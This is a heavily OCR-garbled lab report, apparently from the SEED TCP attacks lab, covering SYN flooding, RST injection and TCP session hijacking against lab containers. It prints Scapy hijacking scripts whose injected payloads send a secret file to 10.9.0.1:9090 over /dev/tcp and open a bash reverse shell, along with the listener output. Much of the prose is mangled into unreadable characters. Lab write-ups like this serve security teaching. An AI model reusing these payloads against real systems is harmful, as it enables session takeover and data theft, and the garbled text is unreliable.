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[03/19/25]seed@VM:~/.../Labsetup$ dockps
4672e8279521 user2-10.9.0.7
b32507b37c5¢c userl-10.9.0.6
035d96d2064b seed-attacker

dba56bc51a7d victim-10.9.0.5

TCP SYN =it B

£%5 1.1: A python EF5EM SYN 2B

A& syn_flood.py A K IR Kix TCP £45 10.9.0.5 1) 23 i
1, 7t seed-attacker F1iE1TiZ A,

A& & % netipvd.tcp max syn backlog

net.ipv4.tcp_synack retries 4, f# B A 5 SLHL

|r00t@dba56bc51a7d:/# sysctl net.ipv4.tcp max syn backlog=80
net.ipv4.tcp max syn backlog = 80

root@dbaSﬁbcglaTd:/E sysctl net.ipvé4.tcp synack retries=10
net.ipv4.tcp synack retries = 10

SEIG 4 IR




—HATGIRER, BN R T

root@32507b37c5c:/# telnet 10.9.0.5
Trying 10.9.0.5...
telnet: Unable to connect to remote host: Connection timed out

£%1.2: £ C BFpE SYN 2B
ik C il 51T G IT AT
fli 4 netstat -tna | grep SYN_RECV | wc -| &F AT

“SYN_RECV” RZS o 1 £ i

root@lba56bc5la7d: /# netstat -tna | grep SYN_RECV |wc -1
61

SR 25
—HATIRER, GBI R T

root@b32507b37c5¢c:/# telnet 10.9.0.5
Trying 10.9.0.5...

£%% 1.3: #TH SYN Cookie Countermeasure FH-iKit1TLi
T SYN Cookie Countermeasure, W15 HLE8A6 M2 e 5% 5

SYN = itIdy, &% 8 3h countermeasure.

root@dba56bc5la7d:/# sysctl -w net.ipv4.tcb_syncookies=l
net.ipv4.tcp syncookies =1

K4 R

ANBEET



~Croot@b32507b37c5c:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.

Escape character is

IA]I.

Ubuntu 20.04.1 LTS
dba56bc51a7d login: |

DIEEIWIRES

#hn TCP backlog BA%1. J&i/l> SYN-RECEIVED fyif[a]. SYN

Cookies fTJF

client)

er))

TCP RST Bhr ¥

print("Running REST attack ...")
print("Filter used:{}".format(myFilter))
print("Spoofing RESET packets from Client({}) to Server({})".format(client, serv

Change the iface field with the actual name on your container

sniff(iface="br-65f3ab917643', flilter=myFilter, prn=spoof)

AE tep_rstpy A, BEAHKM R E

root@b32507b37c5c:/# telnet 10.9.0.5

Trying 10.9.0.5...

Connected to 10.9.0.5.
Escape character is '"*]'.

Ubuntu 20.04.1 LTS

dba56bcbla7d login: seed

Password:

Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)

* Documentation:
* Management:
* Support:

https://help.ubuntu.com
https://landscape.canonical.com
https://ubuntu.com/advantage

myFilter = 'tcp and src host {} and dst host {} and src port 23'.format(server,

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize'’

command.

The programs included with the Ubuntu system are free software;

the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WAR

applicable law.

seed@dba56bchla7d:

-5

ks ioaY)|

e extent permitted by

hConnection closed by foreign host.

EHEER




10.9.0.6 telnet 10.9.0.5 J5 AL XMl Hliz 4T tep_rst.py JAIAS A K
i, S8 telnet EHEFE K
SLHR SR
e st 4R, ] LURIX A~ A ) RST
~C[03/19/25]seed@VM:~/.../volumes$ sudo ./tcp _rst.py 10.9.0.6 10.9.0.5
Running REST attack ...

Filter used:tcp and src host 10.9.0.5 and dst host 10.9.0.6 and src port 23
Spoofing RESET packets from Client(10.9.0.6) to Server(10.9.0.5)

version : BitField (4 bits) =4 (4)
ihl : BitField (4 bits) = None (None)
tos : XByteField =0 (0)
len . ShortField = None (None)
id : ShortField =1 (1)
flags : FlagsField (3 bits) = <Flag 0 ()> (<Flag @ ()>)
frag : BitField (13 bits) =0 (0)
ttl : ByteField = 64 (64)
proto : ByteEnumField =6 (0)
chksum : XShortField = None (None)
src . SourcelIPField = '10.9.0.6"' (None)
dst : DestIPField = '10.9.0.5" (None)
options : PacketListField =[] ([n
sport : ShortEnumField = 48150 (20)
dport : ShortEnumField = 23 (80)
seq : IntField = 2777902813 (0)
ack . IntField =0 (0)
dataofs : BitField (4 bits) = None (None)
reserved : BitField (3 bits) =0 (0)
flags : FlagsField (9 bits) = <Flag 4 (R)> (<Flag 2 (S)=>
)
window : ShortField = 8192 (8192)
chksum : XShortField = None (None)
urgptr . ShortField =0 (0)
options : TCPOptionsField =[] (b'")
version : BitField (4 bits) = (4)
/ A} \)
IR DR

s B7 KBS HER B RST A2 A B E 58 1 icmp B5E [l
S\ EENLER AN LA

TCP &1

fii i sniffer.py i3k &1 TCP, iz17 sniffer.py J&, 7€ 10.9.0.5
EHEAT telnet BB .
B xJEH% sniffer.py BIAE L2417, H wireshark $T7F[F—H 3%



TR ER, RERE K TCPE, EFEUNMERE:

-~ Transmission Control Protocol, Src Port: 37882, Dst Port: 23, Seq: 1598461915, Ack: 1884127024, Len: ©
Source Port: 37802

Destination Port: 23

[Stream index: 8]

[TCP Segment Len: @]

Sequence number: 1590461915

[Next sequence number: 1598461915]

Acknowledgment number: 1084127024

1000 .... = Header Length: 32 bytes (8)
+ Flags: @x018 (ACK)

Window size value: 5081

[Calculated window size: 64128]

[Window size scaling factor: 128]

Checksum: ©x1443 [unverified]

[Checksum Status: Unverified]

Urgent pointer: @

P 15 37802

H g 15 23

TCP HE K E: 0

¥4 : 1590461915

N5 : 1084127024

B # K H B ALF 41 502 1590461915, Beh A s
gy 15 A0 H B -5 M 402 37802 #1023

G secret U5, FETCH U i 9090 I H, 7EEE L telnet
OO O % owm M AN @y 4 cat /home/seed/secret >
/dev/tcp/10.9.0.1/9090, H##z € [m] K18 B Bt HLET 9090 i1,

A BT Ay secret A

- - ———— e — ——— o m— = m

root@M: /# nc -lv 9090

Listening on 0.0.0.0 9090
Connection received on 10.9.0.6 56788
3 s ok ok ok sk ok ok ok ok ok ok ok ok ok ok ok ok ok ok

This 1s top secret!
e e e e e e e e e e e e e e e e e e e e

FPHZAT sniffer.py 3KIUFHIS G52 tep_hijackin.py A



M(“SEF-JDIF-JG SESSION HIJACKING PACKET......... ")

7 IPLayer = JP(src="10.9.0.5", dst="10.9.0.6")
8 TCPLayer =|TCP(sport=37802, dport=23, flags="A", seq=1590461915, ack=1084127024) |

9Data = "\r cat /home/seed/secret > /dev/tcp/10.9.0.1/9090\r"
10 pkt = IPLayer/TCPLayer/Data
11 1s(pkt)

12 send(pkt,verbose=0)

FEXC AL YT 9090 dm )5, EFITH — D BliHlE &S B 1T
tcp_ huacklng py

version : BitField (4 bits) =4 (4)

ihl : BitField (4 bits) = None (None)

tos : XByteField =0 (9)

len : ShortField = None (None)

id : ShortField =1 (1)

flags : FlagsField (3 bits) = <Flag 0 ()> (<Flag 0 ()=>)
frag : BitField (13 bits) =0 (0)

ttl : ByteField = 64 (64)

proto : ByteEnumField =6 (9)

chksum : XShortField = None (None)

src : SourcelPField = '10.9.0.5" (None)

dst : DestIPField = '10.9.0.6" (None)
options : PacketListField =[] (1)

sport : ShortEnumField = 37802 (20)

dport : ShortEnumField = 23 (80)

seq : IntField = 1590461915 (0)

ack : IntField = 1084127024 (0)

dataofs : BitField (4 bits) = None (None)
reserved : BitField (3 bits) =0 (9)

flags : FlagsField (9 bits) = <Flag 16 (A)> (<Flag 2 (S)>
)

window : ShortField = 8192 (8192)
chksum : XShortField = None (None)
urgptr : ShortField = (9)

options : TCPOptionsField =[] (b'")

'Load : StrField = b'\r cat /home/seed/secret >
/dev/tcp/l@ 9.0.1/9090\r" (b'")

root@VM: /volumes# |}

R HL M T B S AR

root@M:/# nc -1v 9090
Listening on 0.0.0.0 9090

Connection received on 10.9.0.6 56964
s 3k s sk ok ok ok ok ok ok sk sk ok ok ok ok ok ok ok ok

This is top secret!
sk sk sk sk ok sk sk ok sk ok sk sk sk sk ok ok ok ok ok ok ok

WililIhG, &P telnet KimiiN—LN %, 2 KIFE
Fe AN EERH R NG AT N, ERPIFERSS 1. XA OB E AR
BARFTEL 1% 7 w0 IR 55 2% 2 [ ) 7 31 5

BATE FrF A sniffer.py 43k TCP £, 1217 sniffer.py /& F telnet
Zoamim AN — LN R K, SRR R E .




RIURZ B

Time Source D

Protocol Length Info
TELNET 7

TCP
TELNET

DIEEIDIRES

56 FH 22 B SUHEAT A 55 A 55 20 7 i RO B 2 ke, A0k TTevi gk

s AP 515 2545 B

R I] Shell 8

HYrizAT sniffer.py SREUF 515 J5 1224 tep_hijackin.py 4

PR -

8 TCPLayer_=
9Data = "

PR ) omee
T(P(qnnrf-fﬁ]i rirmrf—]J
r /bin/bash -i > /dev/tcp/10.9

ﬂanq_‘u' seq=3117457709, ack=2640752961)
0.1/9090 2>&1 8<al \f"

Hdidl 9090 ¥ M 51247 tep_hijackin.py

id
flags
frag
ttl
proto
chksum
src

dst
options

sport
dport
seq

ack
dataofs
reserved
flags

)
window
chksum
urgptr
options

load

: ShortField
: FlagsField
: BitField

: ByteField
: ByteEnumField

: XShortField

: SourceIPField

: DestIPField

: PacketListField

(3 bits)
(13 bits)

: ShortEnumField
: ShortEnumField
: IntField
: IntField
: BitField
: BitField
: FlagsField

(4 bits)
(3 bits)
(9 bits)

: ShortField

: XShortField

: ShortField

: TCPOptionsField

: StrField

10.9.0. 1/9090 2>&1 0<&1 \r' (b'")
root@VM: /volumes#

1
<Flag 0 ()=

3117457709
2640752961
None

0

<Flag 16 (A)>

8192
None
0

[1

b*\r /bin/bash

(1)

(<Flag 0 ()>)
(0)

(64)

(0)

(None)

(None)

(None)

(11

(20)

(80)

(0)

(0)

(None)

(0)

(<Flag 2 (S)>

(8192)
(None)
(0)
(b'*)

-1 > /dev/tcp/



root@VM: /volumes# nc -1v 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.6 57086

=. SLWAWRESE (sooesssdadann @ 8 Mk,

At th A BER)
. TR C /P SYN Zit Bk, oz h 24

backlog #1 retries #f#¢ telnet %z b, 72 gt R

root@h32507b37c5c:/# telnet 10.9.0.5
Trying 10.9.0.5...

Connected to 10.9.0.5.

Escape character is '""]".

Ubuntu 20.04.1 LTS
dba56bc5la7d login: “CConnection closed by foreign host.

fiitkJiik: A%E NoteB, WHER userl fEiFAT C R 7 Mitini i
ST ERE, Pl user Sz Bt Bt A ip tep_metrics flush R
iR o

I

i /. TCP RST & {7 X 10.9.0.6 telnet 10.9.0.5 %k

root@b32507b37c5c:/# telnet 10.9.0.5
Trying 10.9.0.5...

oI ANz B ER, EEENEAS EA]

A8 TCP &iE#h#r, 1817 tep_hijacking.py 5 LiEER

ISP
R ITE : ORI T A AR B 37 81 5 Je e 34T 1 S



EMBEEHEL BT tep BB, FHRMT T HH. RATEHH
17 sniffer.py FREGHT 117 515 Rl A]

(USYTIEIN

FEARREE F, FREM T TCP ARt 77 X p #5500,
SYN 2 Mt Bl i AR R S5 28 DR, A IR & SE RICTRUAL
TCP RST Bfrdfifeh % il @ L piEse, e 1 IERISUEN LA
I EE. M TCP 2 iE SRS W R 1 415 8 BEAN S 217 R (7™
E7ge o I

HsEEk, WA Vis 2R TR FETE S ORI S BT

Iy, R AN AR5, A8 B AU R R AR R SR T
T3 ) A AR BE T



